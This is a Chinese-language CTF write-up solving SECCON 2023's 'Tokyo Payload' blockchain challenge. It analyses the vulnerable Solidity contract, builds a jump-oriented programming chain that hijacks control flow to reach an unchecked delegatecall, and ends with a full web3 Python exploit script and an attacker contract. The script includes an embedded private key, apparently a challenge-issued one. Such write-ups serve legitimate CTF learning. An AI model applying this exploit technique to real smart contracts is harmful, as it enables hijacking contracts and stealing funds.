SECCON 2023 Tokyo Payload

Preface

这次 Quals 队里打了第三,由于逆向部分的题目偏简单,没有可圈可点的题目,因此没有专门写 Reverse 部分的 Writeup。和队友 AK 完逆向后,便转过头来看了这道 blockchain,通宵写完了 exploit,也达成了比赛中第一次提交 blockchain 方向题目的成就。

challenge

Source code analysis

题目合约源码:

// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.21;

contract TokyoPayload {
    bool public solved;
    uint256 public gasLimit;

    function tokyoPayload(uint256 x, uint256 y) public {
        require(x >= 0x40);
        resetGasLimit();
        assembly {
            calldatacopy(x, 0, calldatasize())
        }
        function()[] memory funcs;
        uint256 z = y;
        funcs[z]();
    }

    function load(uint256 i) public pure returns (uint256 a, uint256 b, uint256 c) {
        assembly {
            a := calldataload(i)
            b := calldataload(add(i, 0x20))
            c := calldataload(add(i, 0x40))
        }
    }

    function createArray(uint256 length) public pure returns (uint256[] memory) {
        return new uint256[](length);
    }

    function resetGasLimit() public {
        uint256[] memory arr;
        gasLimit = arr.length;
    }

    function delegatecall(address addr) public {
        require(msg.sender == address(0xCAFE));
        (bool success,) = addr.delegatecall{gas: gasLimit & 0xFFFF}("");
        require(success);
    }
}

分析合约的 Solidity 源码后,很快便可以得出最终需要通过 delegatecall 将 solved 置为 true 这样大致的利用思路,关键在于如何绕过合约对 msg.sender 的检查以及对 gas 的限制。

进一步分析其他函数,可以看到与 gas 相关的 gasLimit 这一 storage 仅在 resetGasLimit 这一函数与调用该函数的 tokyoPayload 函数中存在对其写入,且写入值 arr.length 默认为 0。余下的两个函数 loadcreateArray 目前来看不起任何作用,因为我们知道在一笔交易结束后,memory 中的值是会被清空的,并不会影响到下一次交易。

Let’s do JOP

于是我们把目光转向 tokyoPayload 函数,在该函数末尾声明了一个类型为 function() 的 memory 数组,随后取下标为 y 的元素进行函数调用。

这里需要了解一点预备知识,即合约中的 internal call 在 EVM bytecode 层面对应一条 JUMP 指令。开启题目环境并获取合约的 bytecode 后,结合在 EVM Playground 中调试的结果,我们可以得知以下信息:

  1. 记 calldata 长度为 len, 则对于 x 有: x ≥ 0x40, memory[x:x+len] = calldata[:len]
  2. 对于 y 有: y ≤ memory[0x60:0x80] (MLOAD(0x60)), t = (y * 0x20 + 0x80) & 0xffffffff
  3. 对于在 2 中计算得到的 t, 最终会将 memory[t:t+0x20] (MLOAD(t)) 的值加载到栈顶,作为 JUMP 指令的跳转地址

自此,通过合理设计调用 tokyoPayload 函数的 calldata,可以实现对合约内任意 JUMPDEST 的跳转。

回顾一下上一小节,要将 solved 置为 true,我们首先要实现以下两点前置要求:

  1. 设置 gasLimit 为合理值,使得 delegatecall 调用时有足够的 gas 执行 SSTORE 指令
  2. 绕过对 msg.sender 的检查,实现对任意地址的 delegatecall

综上,考虑使用 JOP (Jump Oriented Programming) 劫持合约控制流。

My solution

同 ROP 的原理类似,我们需要找到合适的 gadgets 以实现对栈上数据的布置。通过搜索反汇编后的 SSTORE 指令,发现有两个 gadgets 可以达到写 gasLimit 对应 storage 的目的,分别为 0xb7 与 0x153 处的 JUMPDEST,不同的是,0xb7 处的 gadgets 执行后会固定跳转到 0x93 从而 STOP 结束合约调用。

事实上,若采用 0xb7 处的 gadgets,利用过程就要拆分成两步进行,然而再次调用 tokyoPayload 函数,gasLimit 又会被重新置为 0 导致上一笔交易失效。因此,我们只能使用 0x153 处的 gadgets。

细心的你也许会发现,0x153 是 tokyoPayload 函数中间的一段 gadgets,等同于我们重入了该函数,自然执行到函数末尾时,我们又可以获得另外一个任意 JUMPDEST 的跳转。

接下来需要做的是对栈上数据的布置,load 函数内部的 gadgets 可以通过三个 calldataload 指令将 calldata 中指定偏移的数据加载到栈上,从而实现对栈数据尽可能的控制,对应 gadgets 位于 0xd0 处;最终执行 delegatecall 指令对应的 gadgets 位于 0x1a3 处。

最终的 JOP chain 中还添加了 0x18f 处与 0x93 处的 gadgets,分别起到栈清理与正常退出合约的作用:tokyoPayload → 0x153 → 0x18f → 0xd0 → 0x1a3 → 0x93

Deployed contract

inline assembly 节省 gas,如果限制苛刻可以手写 bytecode 优化

pragma solidity 0.8.21;

contract Exploit {
    bool public solved;

    fallback() external {
        assembly {
            sstore(0, 1)
        }
    }
}

All in one exp

注:gasLimit 被设置为 0xc300,足以完成将 solved 置 1

import rlp
import struct

from web3 import Web3

def setup_payload(x, y, target0, target1, target3, target4, contract_address): # y is also target2
    length = max(y * 0x20 + 0xa0 - x, 0x3280 - y)
    selector = struct.pack('>I', 0x40c3)
    jdest0 = target0.to_bytes(0x20, 'big')
    jdest1 = target1.to_bytes(0x20, 'big')
    calldata = bytearray().rjust(length, b'\x00')
    calldata[:4] = selector
    calldata[4:0x24] = x.to_bytes(0x20, 'big')
    calldata[0x24:0x44] = y.to_bytes(0x20, 'big')
    calldata[y * 0x20 + 0x80 - x:y * 0x20 + 0xa0 - x] = jdest0
    calldata[0x3260 - y:0x3280 - y] = jdest1
    calldata[0x80:0xa0] = target3.to_bytes(0x20, 'big')
    calldata[0xa0:0xc0] = 0x1000.to_bytes(0x20, 'big')
    calldata[0x1020:0x1040] = target4.to_bytes(0x20, 'big')
    calldata[0x1040:0x1060] = contract_address.to_bytes(0x20, 'big')
    return calldata

def calculate_address(deployer, nonce):
    return Web3.keccak(rlp.encode([bytes.fromhex(deployer[2:]), nonce]))[12:].hex()

# 1. Add the Web3 provider logic here:
rpc_endpoint = 'http://tokyo-payload.seccon.games:8545/c731cd1b-dc79-426f-bce7-0fe523665bf6'
web3 = Web3(Web3.HTTPProvider(rpc_endpoint))

assert web3.is_connected()

setup_contract = '0x9e7237f54BC42923E971c43e132D9377E1b5fE9c'

victim_contract = calculate_address(setup_contract, web3.eth.get_transaction_count(setup_contract) - 1)

# code = web3.eth.get_code(Web3.to_checksum_address(victim_contract)).hex()
print(f'Our Vicitim contract address: { Web3.to_checksum_address(victim_contract) }')

# 2. Add contract bytecode here:
bytecode = "608060405234801561000f575f80fd5b5060bf8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106029575f3560e01c8063799320bb14603057602a565b5b60015f55005b6036604a565b604051604191906072565b60405180910390f35b5f8054906101000a900460ff1681565b5f8115159050919050565b606c81605a565b82525050565b5f60208201905060835f8301846065565b9291505056fea2646970667358221220956a931490b36fa29544530fe3ccb1b0e368513f67b899d0d65bf352f8ffadc064736f6c63430008150033"

# 3. Create address variable
account_from = {
    'private_key': '0x05e6667d8b67ce0b50d3e5b0b07c0be7d1495b6100f864fc1de352f24d7baab4',
    'address': '0x36b80798f3a59f36CAA0E3345b6BfF794d12bB24'
}

print(f'Attempting to deploy from account: { account_from["address"] }')
print(f'Contract will be deployed at address: { calculate_address(account_from["address"], web3.eth.get_transaction_count(account_from["address"])) }')

# 4. Build deploy tx
deploy_tx = {
    'from': account_from['address'],
    'to': None,
    'nonce': web3.eth.get_transaction_count(account_from['address']),
    'gasPrice': web3.eth.gas_price,
    'value': 0,
    'data': bytecode,
    'chainId': web3.eth.chain_id,
}
estimated_gas = web3.eth.estimate_gas(deploy_tx)
deploy_tx.update({'gas': round(estimated_gas * 1.2)})

# 5. Sign tx with PK
tx_create = web3.eth.account.sign_transaction(deploy_tx, account_from['private_key'])

# 6. Send tx and wait for receipt
tx_hash = web3.eth.send_raw_transaction(tx_create.rawTransaction)
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)

print(f'Contract deployed at address: { tx_receipt.contractAddress }')

contract_address = tx_receipt.contractAddress

print(f'Making a call to contract at address: { contract_address }')

payload = setup_payload(0x7b, 0xd0, 0x153, 0x18f, 0x1a3, 0x93, int(contract_address, 16)).hex()

# 7. Build function tx
solver_tx = {
    'from': account_from['address'],
    'to': Web3.to_checksum_address(victim_contract),
    'nonce': web3.eth.get_transaction_count(account_from['address']),
    'gasPrice': web3.eth.gas_price,
    'value': 0,
    'data': payload,
    'chainId': web3.eth.chain_id,
}
solver_tx.update({'gas': 30000000})

# 8. Sign tx with PK
tx_create = web3.eth.account.sign_transaction(solver_tx, account_from['private_key'])

# 9. Send tx and wait for receipt
tx_hash = web3.eth.send_raw_transaction(tx_create.rawTransaction)
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)

print(f'Tx successful with hash: { tx_receipt.transactionHash.hex() }')